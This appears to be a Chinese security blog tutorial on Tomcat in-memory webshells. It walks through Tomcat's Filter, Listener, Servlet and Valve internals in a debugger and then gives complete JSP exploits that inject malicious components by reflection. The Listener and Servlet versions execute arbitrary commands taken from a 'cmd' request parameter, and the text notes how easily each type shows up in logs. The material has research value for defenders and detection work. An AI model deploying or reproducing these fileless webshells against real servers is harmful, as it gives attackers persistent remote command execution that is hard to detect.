Tomcat内存马
前置知识:Tomcat架构
参考:
Java安全学习——内存马 - 枫のBlog
Java内存马系列-04-Tomcat 之 Listener 型内存马 | Drunkbaby’s Blog
https://su18.org/post/memory-shell/
介绍
就是根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上
调式时候需要导入对应tomcat版本的jar包
依赖
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.31</version> </dependency>
|
根据Tomcat启动流程
会在ConfigContext#configureContext方法中从xml配置中读取配置,并注册servlet、listener、filter三大件
Filter型
Filter的使用
package com.yyjccc.memorytrojan.Tomcat;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;
@WebFilter() public class ShellFilter implements Filter {
@Override public void init(FilterConfig filterConfig) { System.out.println("Filter 初始构造完成"); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("执行了操作"); chain.doFilter(request,response); }
@Override public void destroy() { System.out.println("filter 销毁"); } }
|
xml配置模式:
<filter> <filter-name>filter</filter-name> <filter-class>com.yyjccc.memorytrojan.Tomcat.ShellFilter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping>
|
注解配置:@WebFilter(“/*”)
Filter创建流程分析
逆向走起
在我们的dofilter方法上打上断点
这里观察函数栈帧,现在就根据函数调用栈逐层往上找filter是怎么程创建的
进入上一层ApplicationFilterChain#internalDoFilter方法中
这里也是filter.doFilter(),且这个filter就是我们定义的filter。继续寻找这个filter怎么来的
在这个方法内的前面
filter是从filterConfig中获取,一个filterConfig对应一个Filter,用于存储Filter的上下文信息,而filterConfig是从属性filters – ApplicationFilterConfig数组中获得。
这里还没有看到filter到底来的,继续往上面一层栈帧
它主要是进行了 Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断。
继续往上走,进入StandardWrapperValve#invoke方法中
这里filiterChain就是ApplicationFilterChain对象,找它怎么来的
ApplicationFilterFactory#createFilterChain创建出filterChain
在这里打上断点重新调试
其中的关键代码
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { ... filterChain = new ApplicationFilterChain(); filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); ... String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ... ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); ... filterChain.addFilter(filterConfig); } ... return filterChain; }
|
省略了函数中一些不重要的判断,从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程
- 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
- 然后通过wrapper.getParent()函数来获取StandardContext对象
- 接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
- 最后根据Filter的名称,在StandardContext中获取FilterConfig
- 通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中
addFilter():
这里就把获取到filterConfig中放入前面的属性中
其实到这里是从context中拿到一些属性进行操作,将filterConfig放入到FilterChain中
,Filter内存马的思路就是,在放入FilterChain之前我们就通过反射赋值或者增加一些内容,然后tomcat就会自动的调用上面流程的代码,将恶意的filter放入filterChain,再进行调用调用其实如下图:
总之,注入内存马是在上游的操作,而上面分析的流程在下游部分
FilterConfig、FilterDef和FilterMaps
Context-Filter成分分析图:
context首尾相连了
进入addFilter方法
发现,这里以前的filters数组原来会重新创建一个容量更大的数组,并拷贝原有的数组。
其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息
上下文对象StandardContext实际上是包含FilterConfig、FilterDef和FilterMaps了这三者的
查看context:
其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的标签。
同下配置
<filter> <filter-name></filter-name> <filter-class></filter-class> </filter>
|
可以看到,filterDef必要的属性为filter、filterClass以及filterName。
filterDefs是一个HashMap,以键值对的形式存储filterDef
context中的filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的
标签
等同于下面配置
<filter-mapping> <filter-name></filter-name> <url-pattern></url-pattern> </filter-mapping>
|
filterMaps必要的属性为dispatcherMapping、filterName、urlPatterns
于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。
动态注册Filter
根据成分分析图,其实动态注册的步骤就是对上面属性的赋值
经过上面的分析,我们可以总结出动态添加恶意Filter的思路:
- 获取StandardContext对象
- 创建恶意Filter
- 使用FilterDef对Filter进行封装,并添加必要的属性
- 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
- 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
这里获取context与后面Servlet第一种获取方式相同
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
恶意Filter
<%! public class CmdServlet implements Filter {
@Override public void init(FilterConfig filterConfig) { System.out.println("shell"); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); chain.doFilter(request,response); }
@Override public void destroy() { } } %>
|
使用FilterDef封装filter
这个过程和后面的注册Servlet十分类似
String name="filterShell"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(new CmdFilter()); filterDef.setFilterClass(CmdFilter.class.getName()); filterDef.setFilterName(name); context.addFilterDef(filterDef);
|
创建filterMap用于filter和路径的绑定
FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); filterMap.addURLPattern("/*"); context.addFilterMap(filterMap);
|
封装filterConfig及filterDef到filterConfigs
使用ApplicationFilterConfig的构造方法,不过需要反射构造
Field Configs = context.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(context); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef); filterConfigs.put(name, filterConfig);
|
完整exp
<%! public class CmdFilter implements Filter {
@Override public void init(FilterConfig filterConfig) { System.out.println("shell"); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); chain.doFilter(request,response); }
@Override public void destroy() { } } %>
<% ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext context = (StandardContext) standardContextField.get(applicationContext); %>
<% String name="filtershell"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(new CmdFilter()); filterDef.setFilterClass(CmdFilter.class.getName()); filterDef.setFilterName(name); context.addFilterDef(filterDef); %>
<% FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); filterMap.addURLPattern("/bash"); context.addFilterMap(filterMap); %>
<% Field Configs = context.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(context);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef); filterConfigs.put(name, filterConfig); %>
|
Listener型
Listener用来监听对象创建、销毁、属性增删改,然后执行对应的操作。
在Tomcat中,Listener->Filter->Servlet依次执行。
Listener就是来监听Session、Cookie、Servletd的
根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的Listener
package com.yyjccc.memorytrojan;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpServletRequest; import java.io.IOException;
@WebListener public class ShellListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("销毁"); }
@Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd=request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } }
} }
|
访问任意路由都可执行命令
Listener创建过程
断点达到requestInitialized()方法内,查看是怎么调用到listener初始化的
进入StandarContext#fireRequestInitEvent中
可以看到linstener怎么获取的
进入getApplicationEventListeners()
直接就是返回属性,查看这个属性有怎么调用
找到addApplicationEventListener方法
注入Listener
在StandardHostValve#invoke中(就是刚才的函数栈帧往上一层),可以看到其通过request对象来获取StandardContext类
同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
|
还有另一种获取方式如下
<% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
|
完整exp
<%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%! public class CmdListener implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent sre) {
}
@Override public void requestInitialized(ServletRequestEvent sre) { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } } %>
<% Field reqField = request.getClass().getDeclaredField("request"); reqField.setAccessible(true); Request req = (Request) reqField.get(request); StandardContext context = (StandardContext) req.getContext();
%> <% CmdListener listener = new CmdListener(); context.addApplicationEventListener(listener); %>
|
Servlet型
恶意Servlet
<%! public class CmdServlet extends HttpServlet { @Override public void init(ServletConfig servletConfig){
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) { String cmd = servletRequest.getParameter("cmd"); if(cmd!=null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException(e); } }
}
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} } %>
|
注入Servlet
内存马的关键就是如何注入内存马到web容器中,下面介绍如何注入Servlet
ConfigContext#configureContext注册Servlet流程
基本流程,其他Servlet初始化操作忽略
- 由上下文context创建wrapper,用来包装servlet
- 设置Servlet名称
- 设置Servlet全类名
(设置StandardWrapper对象的loadOnStartup属性值)
wrapper.setLoadOnStartup(1);
|
> **load-on-startup 这个元素的含义是在服务器启动的时候就加载这个servlet(实例化并调用init()方法). 这个元素中的可选内容必须为一个整数,表明了这个servlet被加载的先后顺序. 当是一个负数时或者没有指定时,则表示服务器在该servlet被调用时才加载。wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue())**
其中2,3操作对应web.xml中的如下配置
<servlet> <servlet-name>index</servlet-name> <servlet-class>com.yyjccc.memorytrojan.HelloServlet</servlet-class> </servlet>
|
- wrapoer设置servlet
- 将wrapper放入context
- 添加url路径映射
其中第4步
可以使用wrapper的setServlet方法
第4、6步对应web.xml如下配置
<servlet-mapping> <servlet-name>index</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping>
|
总体代码jsp实现
<% Wrapper wrapper = context.createWrapper(); wrapper.setName("test"); wrapper.setServletClass(CmdServlet.class.getName()); wrapper.setServlet(new CmdServlet()); context.addChild(wrapper); context.addServletMappingDecoded("/sh","test"); %>
|
StandarContext
另外一个关键就是如何拿到context对象
走进ConfigContext#configureContext
发现context为StandarContext类型的对象
获取context
- 从request对象的getServletContext方法中获取
request对象的getServletContext方法获取servlet上下文
ServletContext servletContext = request.getServletContext();
|
可以看到servletContext的属性context为ApplicationContext对象
属性context的属性context为我们需要的StanddarContext对象
无法直接拿到,那就通过反射获取
Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field contextField = applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); StandardContext context = (StandardContext) contextField.get(applicationContext);
|
- request的request属性的getContext()方法
Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext();
|
完整内存马
<%! public class CmdServlet extends HttpServlet { @Override public void init(ServletConfig servletConfig){
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) { String cmd = servletRequest.getParameter("cmd"); if(cmd!=null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException(e); } }
}
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} } %>
<% ServletContext servletContext = request.getServletContext(); System.out.println(servletContext); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field contextField = applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); StandardContext context = (StandardContext) contextField.get(applicationContext); %>
<% Wrapper wrapper = context.createWrapper(); wrapper.setName("test"); wrapper.setServletClass(CmdServlet.class.getName()); wrapper.setServlet(new CmdServlet()); context.addChild(wrapper); context.addServletMappingDecoded("/sh","test"); %>
|
优缺点
缺点:
- 这种类型的内存马需要访问具体路径才能够命令执行,日志中比较容易被发现
优点:
Valve型
管道机制
当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制
在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
我们先来看看Pipeline接口,继承了Contained接口
public interface Pipeline extends Contained { public Valve getBasic(); public void setBasic(Valve valve); public void addValve(Valve valve); public Valve[] getValves(); public void removeValve(Valve valve);
Valve getFirst();
boolean isAsyncSupported(); public void findNonAsyncValves(Set<String> result); }
|
Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()方法来添加一个Valve。下面我们再来看看Valve接口
public interface Valve { public Valve getNext(); public void setNext(Valve valve); public void backgroundProcess(); public void invoke(Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported(); }
|
其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。
同时Valve可以通过重写invoke()方法来实现具体的业务逻辑
如下面代码
class Shell_Valve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { ... } } }
|
下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service方法中
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception { Request request = (Request) req.getNote(ADAPTER_NOTES); Response response = (Response) res.getNote(ADAPTER_NOTES); if (request == null) { request = connector.createRequest(); request.setCoyoteRequest(req); response = connector.createResponse(); response.setCoyoteResponse(res); request.setResponse(response); response.setRequest(request); req.setNote(ADAPTER_NOTES, request); res.setNote(ADAPTER_NOTES, response); req.getParameters().setQueryStringCharset(connector.getURICharset()); } ... try { ... connector.getService().getContainer().getPipeline().getFirst().invoke( request, response); } ... }
|
前面是对Request和Respone对象进行一些判断及创建操作,在这里打断点进行调式
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
|
首先通过connector.getService()来获取一个StandardService对象
接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象
再通过StandardPipeline.getFirst()获取第一个Valve
最后通过调用StandardEngineValve.invoke()来实现Valve的各种业务逻辑
进入StandardEngineValve#invoke方法
host.getPipeline().getFirst().invoke(request, response)实现调用后续的Valve。
动态添加Valve
上面过程就像逐个Valve出栈,每次getFirst()获取Valve后,然后再invoke()
那么Valve就是注入一个恶意的Valve,我们知道一个网站对应一个Context
就对应着StandarContext类中,其也管理了Valve;·
直接寻找有无存储valve的属性,也就是实现了Pipeline接口的类
找到属性pipeline
这个属性在类中没有定义,说明是父类的。进入ContainerBase
找到方法addValve
根据上文的分析我们能够总结出Valve型内存马的注入思路
- 获取StandardContext对象
- 通过StandardContext对象获取StandardPipeline,即pipeline属性
- 编写恶意Valve
- 通过StandardPipeline.addValve()动态添加Valve
获取StandardContext对象
Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext();
|
注入Valve
实现接口
Pipeline pipeline = context.getPipeline(); pipeline.addValve(new Valve() { @Override public Valve getNext() { return null; }
@Override public void setNext(Valve valve) {
}
@Override public void backgroundProcess() {
}
@Override public void invoke(Request request, Response response) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); }
@Override public boolean isAsyncSupported() { return false; } });
|
继承ValveBase重写invoke
Pipeline pipeline = context.getPipeline(); pipeline.addValve(new ValveBase() { @Override public void invoke(Request request, Response response) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); } });
|
完整exp
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %> <% Pipeline pipeline = context.getPipeline(); pipeline.addValve(new ValveBase() { @Override public void invoke(Request request, Response response) throws IOException, ServletException { Runtime.getRuntime().exec("calc"); } }); %> </body> </html>
|